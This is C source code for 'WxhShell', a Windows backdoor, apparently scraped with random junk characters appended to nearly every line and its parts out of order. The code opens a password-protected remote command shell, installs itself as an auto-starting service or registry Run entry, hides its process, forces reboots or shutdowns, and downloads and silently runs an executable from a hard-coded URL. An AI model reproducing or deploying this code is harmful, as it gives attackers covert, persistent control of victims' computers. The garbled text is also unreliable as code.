    if(Boot(SHUTDOWN)) =6:>C9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J PK( S~  
    else { <C,lHt  
    closesocket(wsh);  - }9a%  
    ExitThread(0); j]' 7"b5  
    } ]728x["(19  
    break; avo[~ `.  
    } 1US4:6xX_  
  // 获取shell $UGX vCR  
  case 's': { a$ FO5%o  
    CmdShell(wsh); K _sHZ  
    closesocket(wsh); "xKykSk  
    ExitThread(0); yd4\%%]  
    break; z<9wh2*M  
  } bs=x>F  
  // 退出 v46 5Z  
  case 'x': { +GqUI~a  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); hMvLx>q3)  
    CloseIt(wsh); KN-)m ta&  
    break; wz=c#}0dB  
    } $@(+" $  
  // 离开 7$u}uv`j  
  case 'q': { %d#h<e|,.  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); -kz9KGkPb+  
    closesocket(wsh); U}2b{  
    WSACleanup(); &;]KntxB  
    exit(1); R-V4Ju[:  
    break; vhOX1'  
        } K/Qo~  
  } U sS"WflB  
  } eQqx0+-0c  
/f0*NNSat-  
  // 提示信息 ~dc~<hK  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W2F*+M  
} sbi+o,%1  
  } u#"L gG.X  
&nyJ :?  
  return; AeN$AqQd/  
} \=NS@_t,  
{N2MskK  
// shell模块句柄 51&K  
int CmdShell(SOCKET sock) 78fFAN`  
{ \&Zp/;n  
STARTUPINFO si; T@)|0M  
ZeroMemory(&si,sizeof(si)); +1o4l i  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; T>2_r6;  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; `8sC>)lrwu  
PROCESS_INFORMATION ProcessInfo; ]d]rV `RF  
char cmdline[]="cmd"; /pS Y~*  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Qt`;+N(  
  return 0; `!A<XiAOmM  
} ]Ll<Z  
{oK4 u  
// 自身启动模式 "|KhqV=?v  
int StartFromService(void) zIT)Hs5  
{ ;*}tbh3;.  
typedef struct |s$w i>7l  
{ P/XCaj3a[  
  DWORD ExitStatus; ' V#$PZx  
  DWORD PebBaseAddress; zo>@"uH4  
  DWORD AffinityMask; _aj,tz  
  DWORD BasePriority; yT<,0~F9  
  ULONG UniqueProcessId; $WS?/H0C  
  ULONG InheritedFromUniqueProcessId; P")1_!  
}   PROCESS_BASIC_INFORMATION; }@H(z  
"F+m}GJ=a  
PROCNTQSIP NtQueryInformationProcess; n/Fx2QC{  
l}MVk%[  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; yJn<S@)VT:  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; lzDA0MPI:  
xg8$ <Ut  
  HANDLE             hProcess; x>TIQU=\  
  PROCESS_BASIC_INFORMATION pbi; cWS 0B $$  
`+0K~k|DC  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); EYXHxo  
  if(NULL == hInst ) return 0; Yw_^]:~  
mo()l8  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); /fDXO;tN  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _my!YS5n  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .Gq]Mrim9G  
+Cg[!6[#  
  if (!NtQueryInformationProcess) return 0; =Y`e?\#`  
Lsb`,:  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); FX,kmre3  
  if(!hProcess) return 0; !<#,M9 EA&  
.TpM3b#r  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; /=IBK`  
&~{0@/  
  CloseHandle(hProcess); I:Q3r"1  
cfhiZ~."T  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); !l5&>1?  
if(hProcess==NULL) return 0; '}BYMEd/m%  
N,ysv/zq7  
HMODULE hMod; -4!S?rHwd+  
char procName[255]; GMW,+  
unsigned long cbNeeded; 3EO:Uk5<   
"p\5:<  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); tx_h1[qi  
h= Mmd  
  CloseHandle(hProcess); 'LW~_\  
eB2a1<S&@  
if(strstr(procName,"services")) return 1; // 以服务启动 R.P|gk  
q'1 86L87  
  return 0; // 注册表启动 8ZL9>"%l  
} X(M|T]`b:  
G{]tB w  
// 主模块 >1S39n5z.  
int StartWxhshell(LPSTR lpCmdLine) YG K7b6  
{ WinwPn+9  
  SOCKET wsl; L)yc_ d5  
BOOL val=TRUE; @tzL4hy%^j  
  int port=0; h}&1 7M  
  struct sockaddr_in door; +Jw+rjnP  
Tx:S{n7&  
  if(wscfg.ws_autoins) Install(); ]gjB%R[.m  
T7# }& >  
port=atoi(lpCmdLine); ZZ2vdy38  
L<W2a(  
if(port<=0) port=wscfg.ws_port; =";G&)H-  
2`P=ekF]  
  WSADATA data; `PS^o#  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; v4Mn@e_#c  
nXM[#~  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   D&*'|}RZ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Cc&SHG*R  
  door.sin_family = AF_INET; Gc*p%2c  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); |{V@t1`  
  door.sin_port = htons(port); K.r "KxCm|  
BRTCo,i  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { J7FzOwd1h  
closesocket(wsl); 6xiCTs0@  
return 1; 7 V3r!y  
} lOEB ,/P  
*|Bt!  
  if(listen(wsl,2) == INVALID_SOCKET) { J u"K"  
closesocket(wsl); Lpv,6#m`)  
return 1; ')zf8>,  
} gn)>(MG  
  Wxhshell(wsl); aW*8t'm;m'  
  WSACleanup(); t~_bquGk  
h[i@c`3 /2  
return 0; 4zhg#  
+<rWYF(ii/  
} 'dJ(x  
rcUJOI  
// 以NT服务方式启动 @FaK/lKK  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) @&9, 0 x  
{ AQjf\i  
DWORD   status = 0; wu~?P`  
  DWORD   specificError = 0xfffffff; |mF=X*  
$SfYO!n7Q  
  serviceStatus.dwServiceType     = SERVICE_WIN32; /pQUu(~h_  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ,d@FO|G#pt  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; XOT|:  
  serviceStatus.dwWin32ExitCode     = 0; H>Q X?>j  
  serviceStatus.dwServiceSpecificExitCode = 0; b*TQKYT  
  serviceStatus.dwCheckPoint       = 0; w)Z-, J  
  serviceStatus.dwWaitHint       = 0; kK_9I (7c  
=-E%vnU  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); jX&/ e'B  
  if (hServiceStatusHandle==0) return; 9a$ 7$4m  
g). IF.  
status = GetLastError(); 9o+e3TXp#  
  if (status!=NO_ERROR) $ #bWh  
{ iq<nuO  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; H8V@KB  
    serviceStatus.dwCheckPoint       = 0; `=P=i>,  
    serviceStatus.dwWaitHint       = 0; BPd *@l  
    serviceStatus.dwWin32ExitCode     = status; f,'^"Me$c  
    serviceStatus.dwServiceSpecificExitCode = specificError; 6Sz|3ms  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1~y\MD*-j  
    return; ")i_{C,b^  
  } l5FKw;=K}:  
IiM=Z=2  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 3XcFBFE  
  serviceStatus.dwCheckPoint       = 0; &~V6g(9  
  serviceStatus.dwWaitHint       = 0; {4>N2mP{M  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); COH9E\ZGF  
} o?/fObV@(  
cCv@f ks  
// 处理NT服务事件,比如:启动、停止 "R^0eNv$  
VOID WINAPI NTServiceHandler(DWORD fdwControl) v,Uu )Z  
{ 1eOQ;#OV  
switch(fdwControl) )-^[;:B\k"  
{ W%@0Ym `7  
case SERVICE_CONTROL_STOP: Xq%ijo  
  serviceStatus.dwWin32ExitCode = 0; "@UyUL  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Dd'J"|jF38  
  serviceStatus.dwCheckPoint   = 0; >l^[73,]L  
  serviceStatus.dwWaitHint     = 0; &0RKNpw g  
  { .f9&.H#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -\~HAnh  
  } F4$9r^21r  
  return; Odr<fvV,>  
case SERVICE_CONTROL_PAUSE: gB])@O%/  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; e'2w-^7  
  break; nG~^-c+  
case SERVICE_CONTROL_CONTINUE: l0lvca=;  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; /)<Xoa  
  break; ~(}n d  
case SERVICE_CONTROL_INTERROGATE: G]T&{3g-.  
  break; l*b0uF  
}; @me ( pnD  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +6s6QeNS8  
} ]23+ d/  
ZVDi;   
// 标准应用程序主函数 9`cj9zz7  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) C:p`  
{ 6ag0c&k  
~\u~>mtchu  
// 获取操作系统版本 9#1Jie$  
OsIsNt=GetOsVer(); G8lTIs4u;  
GetModuleFileName(NULL,ExeFile,MAX_PATH); =8A L>:_  
<])kO`+G  
  // 从命令行安装 z_%}F':  
  if(strpbrk(lpCmdLine,"iI")) Install(); / mwsF]Y  
J<MuWgx&  
  // 下载执行文件 KJW^pAj$B  
if(wscfg.ws_downexe) { jdd3[  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ;R7+6  
  WinExec(wscfg.ws_filenam,SW_HIDE); UcWf O!}D  
} ^&\<[\  
m%U$37A 1  
if(!OsIsNt) { y4,t=Gq7^  
// 如果时win9x,隐藏进程并且设置为注册表启动 =U}!+ 8f  
HideProc(); ; ! B>b)%  
StartWxhshell(lpCmdLine); 2#@-t{\3-p  
} 3j\Py'};  
else !RwMUnp  
  if(StartFromService()) 3bagL)'iz  
  // 以服务方式启动 3u oIYY  
  StartServiceCtrlDispatcher(DispatchTable); p~z\&&0U0  
else GRAPv|u9[  
  // 普通方式启动 -# /'^O +%  
  StartWxhshell(lpCmdLine); : 2A\X' @  
~vKDB$2  
return 0; /;WFRp.  
} $?y\3GX  
uo3o[ H&#  
V Ku|=m2vB  
USV;j%U4*  
=========================================== a 1~@m[  
b$Q#Fv&P  
B6U4>ZN  
Q #p gl  
J:l%  
IYe,VL  
" .e|\Bf0P  
UQq Qim  
#include <stdio.h> 6OZ n7:)Y  
#include <string.h> R]NCD*~  
#include <windows.h> KP CZiu7  
#include <winsock2.h> %Vhj<gN  
#include <winsvc.h> QURpg/<U  
#include <urlmon.h> 9j<7KSj  
RpzW-  
#pragma comment (lib, "Ws2_32.lib") 6A-nhvDP  
#pragma comment (lib, "urlmon.lib") QxiAC>%K  
t]+h.  
#define MAX_USER   100 // 最大客户端连接数 vlPViHF.  
#define BUF_SOCK   200 // sock buffer UxvT|~"  
#define KEY_BUFF   255 // 输入 buffer =W"9a\m  
Oe&gTXo  
#define REBOOT     0   // 重启 K%YR; )5A  
#define SHUTDOWN   1   // 关机 vq1u !SY  
v dPb-z4  
#define DEF_PORT   5000 // 监听端口 $|K-wN[  
j=Z;M1  
#define REG_LEN     16   // 注册表键长度 rGQY  
#define SVC_LEN     80   // NT服务名长度 v4r%'bA  
ms#|Y l1/|  
// 从dll定义API I]Vkaf I>(  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); r^`~GG!,Q  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); _@O.EksY3r  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 90">l^HX=  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \'+P5,  
r[3 2'E  
// wxhshell配置信息 Iy@6cd,)S  
struct WSCFG { )@6iQ  
  int ws_port;         // 监听端口 w5q'M  
  char ws_passstr[REG_LEN]; // 口令 FLQ>,=O  
  int ws_autoins;       // 安装标记, 1=yes 0=no 4^k+wQU  
  char ws_regname[REG_LEN]; // 注册表键名 a>eg H og  
  char ws_svcname[REG_LEN]; // 服务名 )b-KF}]d  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 :</KgR0I  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 y~<_ux,  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 lGX8kAv?  
int ws_downexe;       // 下载执行标记, 1=yes 0=no vpoJ{TPO  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 14yzGhA  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {$'oKJy*  
dyt.( 2  
}; )pw53,7>aN  
uwu`ms7z 2  
// default Wxhshell configuration `}#n#C)  
struct WSCFG wscfg={DEF_PORT, }h=3[pe}  
    "xuhuanlingzhe", 4x_# 1 -  
    1, Nh+XlgXG  
    "Wxhshell", ~;I'.TW  
    "Wxhshell", 8xYeaK  
            "WxhShell Service", E]ZIm  
    "Wrsky Windows CmdShell Service", 7%i6zP /a  
    "Please Input Your Password: ", 8 )= "Ee  
  1, Cf3<;Mp<  
  "http://www.wrsky.com/wxhshell.exe", %] !xr6d  
  "Wxhshell.exe" #X*=oG  
    }; GoPK. E$  
2 5I a  
// 消息定义模块 G,XUMZ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %[fZ@!B  
char *msg_ws_prompt="\n\r? for help\n\r#>"; W=2#Q2)  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <4%PT2R  
char *msg_ws_ext="\n\rExit."; goc"+ K  
char *msg_ws_end="\n\rQuit."; NQ,2pM<*-  
char *msg_ws_boot="\n\rReboot..."; 9C|-|mo  
char *msg_ws_poff="\n\rShutdown..."; nOK1Wc%/'  
char *msg_ws_down="\n\rSave to "; ^o Q^/v~  
RT"JAJTi/  
char *msg_ws_err="\n\rErr!"; $#FA/+<&$  
char *msg_ws_ok="\n\rOK!"; Cd7l+~*Y  
1_z~<d @?;  
char ExeFile[MAX_PATH]; aV G4D f  
int nUser = 0; teJY*)d  
HANDLE handles[MAX_USER]; PB!*&T'!  
int OsIsNt; .gA4gI1kH  
7 '{wl,u  
SERVICE_STATUS       serviceStatus; cTL W}4m%g  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; La\|Bwx  
DpQ:U5j  
// 函数声明 [wcp2g3Px  
int Install(void); ;D}E/' =  
int Uninstall(void); lA,*]Mr~  
int DownloadFile(char *sURL, SOCKET wsh); "\"sM{x  
int Boot(int flag); I1!m;5-c9k  
void HideProc(void); HQV#8G#B  
int GetOsVer(void); E*8).'S%k  
int Wxhshell(SOCKET wsl); 4?l:.\fB:  
void TalkWithClient(void *cs); XvkFP'%i/  
int CmdShell(SOCKET sock); K b z|h,<  
int StartFromService(void); xN44>3#  
int StartWxhshell(LPSTR lpCmdLine); zOMU&;.\  
 nw  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 9~}.f1z  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 6<9gVh<=w  
xd^9R<  
// 数据结构和表定义 og|~:>FmJo  
SERVICE_TABLE_ENTRY DispatchTable[] = o<!tN OH  
{ ]Yt,|CPe2  
{wscfg.ws_svcname, NTServiceMain}, N|asr,  
{NULL, NULL} Hw~?%g:<S  
}; g I4Rku  
Fd>epvR  
// 自我安装 <[tU.nh  
int Install(void) S3?U-R^`  
{ 9/6=[)  
  char svExeFile[MAX_PATH]; I|)U>bV  
  HKEY key; AHn Yfxv_  
  strcpy(svExeFile,ExeFile); z:JJ>mxV  
SHN'$f0Mb  
// 如果是win9x系统,修改注册表设为自启动 }&LLo  
if(!OsIsNt) { ^ 4{"h  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { myDcr|j-a  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8J8@0  
  RegCloseKey(key); N@\`DO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { io*iA<@Gx  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Dh .<&ri   
  RegCloseKey(key); m]'P3^<{P  
  return 0; n!%'%%o2v  
    } X!f` !tZ:{  
  } 9oxn-)6JC  
} qp2&Z8S\D  
else { Vnnl~|Xx  
CF/8d6}Vf  
// 如果是NT以上系统,安装为系统服务 z460a[Wl  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Mtq^6`JJ'  
if (schSCManager!=0) 2Z*^)ZQB  
{ a VIh|v  
  SC_HANDLE schService = CreateService Wh1'?#  
  ( iKEHwm  
  schSCManager, u51Lp  
  wscfg.ws_svcname, "j?\Ze*  
  wscfg.ws_svcdisp, +%LR1+/%b  
  SERVICE_ALL_ACCESS, Vi<F@ji  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , YF<U'EVU-  
  SERVICE_AUTO_START, y!jq!faqt  
  SERVICE_ERROR_NORMAL, D' oy% 1Q}  
  svExeFile, ZG Qz@H5  
  NULL, ;7N~d TBQ  
  NULL, "$PX [:  
  NULL, e2L4E8ST<  
  NULL, \Culf'iX  
  NULL JG=z~STz  
  ); {[[/*1r|  
  if (schService!=0) &``nYI g/  
  { utBKl' `  
  CloseServiceHandle(schService); @;h$!w<  
  CloseServiceHandle(schSCManager); fb D  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); `8G {-_  
  strcat(svExeFile,wscfg.ws_svcname); OQh4 MN#$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { XJZS}Z7h  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Ys@G0}\3G  
  RegCloseKey(key); K1m'20U  
  return 0; kr>F=|R]  
    } 31~Rs?~f(  
  } &E`=pe/e  
  CloseServiceHandle(schSCManager); 287)\FU;3  
} 4pZ=CB+j  
} l]z=0  
R![4|FR  
return 1; >2dF^cDE-3  
} ==Bxv:6  
m-XS_5x\  
// 自我卸载 Vv3:x1S  
int Uninstall(void) =;y(b~  
{ eWTbHF  
  HKEY key; X"O^4MnvI  
Q7XlFjzcm  
if(!OsIsNt) { {V5eHn9/Q'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5FwVR3,  
  RegDeleteValue(key,wscfg.ws_regname); FP9FE `x  
  RegCloseKey(key); btWvoKO*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { do=s=&T  
  RegDeleteValue(key,wscfg.ws_regname); HiT j-O  
  RegCloseKey(key); > PONu]^  
  return 0; wUcp_)aE|  
  } 5yQ\s[;o3  
} n+:}p D  
} .0iHI3i^  
else { ?$0t @E  
8 ;o*c6+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); l[M?"<Ot;  
if (schSCManager!=0) Geyj`t  
{ ~<q^4w.=7C  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); (K3eb  
  if (schService!=0) ^ 9FRI9?  
  { <F<jx"/)  
  if(DeleteService(schService)!=0) { %M u$0~ct"  
  CloseServiceHandle(schService); l|5;&(Y+s  
  CloseServiceHandle(schSCManager); 6>j0geFyE2  
  return 0; @"'$e_jj"  
  } .fD%*-  
  CloseServiceHandle(schService); ZA.i\ ;2  
  } R>dd#`r"  
  CloseServiceHandle(schSCManager); Vc$y ^|=  
} .Fm@OQr  
} !TeI Jm/l  
R&9Q#n-  
return 1; |}naI_Qudv  
} !\/J|~XZ  
)jHH-=JM  
// 从指定url下载文件 eD?f|bif  
int DownloadFile(char *sURL, SOCKET wsh) &AhkP=Yw  
{ _"G./X  
  HRESULT hr; U['|t<^uf  
char seps[]= "/"; hLF;MH@  
char *token; $W0O  
char *file; Ym$=^f]-  
char myURL[MAX_PATH]; y$U(oIU>  
char myFILE[MAX_PATH]; FgTWym_  
`F4gal^ ^  
strcpy(myURL,sURL); n5;>e&  
  token=strtok(myURL,seps); #D|n6[Y'.t  
  while(token!=NULL) #0'%51Jcl  
  { 0t(js_  
    file=token; C] >?YR4  
  token=strtok(NULL,seps); ^Rc*X'Iz(!  
  } se&Q\!&M  
)Rr0f 8  
GetCurrentDirectory(MAX_PATH,myFILE); p~f=0K  
strcat(myFILE, "\\"); ^F:Bj&0v[  
strcat(myFILE, file); k`h#.B J  
  send(wsh,myFILE,strlen(myFILE),0); ^!sIEL  
send(wsh,"...",3,0); #MAXH7[  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 5Sz}gP('  
  if(hr==S_OK)  95l)w  
return 0; gt)wk93d>  
else ^b^}6L'Z  
return 1; ]1&} L^a  
*m*sg64Zw  
} +wxDK A_  
h@%a+6b?  
// 系统电源模块 I@q(P>]X9  
int Boot(int flag) @~8*  
{ 'ocPG.PaU  
  HANDLE hToken; = ow=3Ku  
  TOKEN_PRIVILEGES tkp; vXT>Dc2\!  
Z,7VOf6g  
  if(OsIsNt) { 12HE =  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); <P.'r,"[  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ]..7t|^b&  
    tkp.PrivilegeCount = 1; 'mO>hD`V  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; =SV b k  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); %3@-. =  
if(flag==REBOOT) { tZan1C%p>  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) <BjrW]pM  
  return 0; ][`%vj9r  
} _kT{W]   
else { RJOW#e :  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) p,7, tx  
  return 0; uS7kkzt-x  
} _(F8}s  
  } Sjo7NR^#e  
  else { 5&TH\2u  
if(flag==REBOOT) { {fa3"k_ke  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) LsO}a;t5  
  return 0; qB5.of[N!  
} QJ2D C  
else { .X34[AXd  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ;"|QW?>$D  
  return 0; !!d?o  
} DTvCx6:!  
} #eIFRNRb)  
r$W%d[pB  
return 1; bk:mk[  
} KvXF zx|A  
ip!-~HNwJ  
// win9x进程隐藏模块 +F+M[ef<ws  
void HideProc(void) U X%J?;g  
{ 45;ey }8  
% O u'+A  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); xQkvK=~$  
  if ( hKernel != NULL ) a!B"WNb+  
  { bXk(wXX  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Dvm[W),(k  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); pD;fFLvN  
    FreeLibrary(hKernel); :f~qt%%/  
  } }/2M?W0  
#p2`9o  
return; *" +u^  
} ZQ{-6VCjl  
1P?|.W_^1  
// 获取操作系统版本 Z}S7%m  
int GetOsVer(void) J?C:@Q  
{ u=t.1eS5  
  OSVERSIONINFO winfo; S?#6{rx  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ZlP+t>  
  GetVersionEx(&winfo); MI)v@_1d  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) LB`{35b-  
  return 1; ^@^K <SVc  
  else `T{'ufI4B  
  return 0; hlmeT9v{  
} G`RQl@W>)(  
><I{R|bC  
// 客户端句柄模块  "3/&<0k  
int Wxhshell(SOCKET wsl) wKKQAM6P1  
{ P1ak>T *#2  
  SOCKET wsh; B>g(i=E  
  struct sockaddr_in client; wSi$.C2  
  DWORD myID; EB VG@  
bvS6xU- J  
  while(nUser<MAX_USER) 3~:9ZWQ/  
{ N-W>tng_x  
  int nSize=sizeof(client); H$.K   
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); |-L7qZu%  
  if(wsh==INVALID_SOCKET) return 1; j4I ~  
3OFI> x,h  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); bEln.)  
if(handles[nUser]==0) o59b#9  
  closesocket(wsh); KwU;+=_.  
else SEVB.;  
  nUser++; ~LQzt@G4  
  } +lxjuEiae  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); >wb Uxl%{5  
E+lr{~  
  return 0; Jv}&8D  
} <w`EU[y_  
 1D_&n@  
// 关闭 socket -Nn< pq  
void CloseIt(SOCKET wsh) eph2&)D}Ep  
{ <cU%yA710  
closesocket(wsh); Tl2(%qB  
nUser--; =#=}|Q}  
ExitThread(0); #p"$%f5Q_  
} FzNj':D  
d0-4KN2  
// 客户端请求句柄 *2pf> UzL  
void TalkWithClient(void *cs) 4:-x!lt  
{ 5RAhm0Op~.  
^`k;~4'd  
  SOCKET wsh=(SOCKET)cs; 3?&v:H  
  char pwd[SVC_LEN]; GUZ.Pw  
  char cmd[KEY_BUFF]; 5z =}o/?  
char chr[1]; I]hjv  
int i,j; H]7bqr  
sO}CXItC+j  
  while (nUser < MAX_USER) { @T:J<,  
i&?\Pp;5-j  
if(wscfg.ws_passstr) { c g)> A  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9 p{n7.  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); QO^V@"N  
  //ZeroMemory(pwd,KEY_BUFF); lX.-qCV"B  
      i=0; ,J,Rup">h  
  while(i<SVC_LEN) { No)0|C8:  
(T%?@'\  
  // 设置超时 eL~3CAV{  
  fd_set FdRead; )[oP `Z  
  struct timeval TimeOut; %}e['d h  
  FD_ZERO(&FdRead); r8?p6E  
  FD_SET(wsh,&FdRead); 1wFW&|>1  
  TimeOut.tv_sec=8; #:By/9}-  
  TimeOut.tv_usec=0; xy b=7  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); mPHto-=fB  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); qoOwR[NDcq  
qYJ<I'Ux O  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +Gg|BTTL/  
  pwd=chr[0]; ~_Fx2T:X  
  if(chr[0]==0xd || chr[0]==0xa) { _VVq&t}  
  pwd=0; _",< at  
  break; l i)6^f#  
  } L""ZI5J{F9  
  i++; ;S \s&.u  
    } W@ &a  
,SidY\FzH  
  // 如果是非法用户,关闭 socket @_?2iN?4Z  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ar#73f  
} <b .p/uA  
QkC*om'/!  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Xdx8HB@L  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ar[|M 2|  
tH4 q*\U  
while(1) { _ xTpW  
~TsRUT  
  ZeroMemory(cmd,KEY_BUFF); /# ]eVD  
wN58uV '  
      // 自动支持客户端 telnet标准   ox%j_P9@:  
  j=0; AH:uG#  
  while(j<KEY_BUFF) { e4 ,SR(O>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yQMwt|C4  
  cmd[j]=chr[0]; Zp^O1&\SK?  
  if(chr[0]==0xa || chr[0]==0xd) { )obgEJ7Y`l  
  cmd[j]=0; H`'a|Y  
  break; w7.,ch  
  } T.3{}230<  
  j++; tsL ; wT_  
    } l _%<U  
1O< 6=oH  
  // 下载文件 ]XbMqHGS  
  if(strstr(cmd,"http://")) { B{R[z%Y  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); |Y05 *!\P*  
  if(DownloadFile(cmd,wsh)) %~x?C4L8  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); }6!/Nb  
  else LXh }U>a9  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8-NycG&)  
  } :ujpLIjvVG  
  else { :CW^$Zvq  
""jW'%wR  
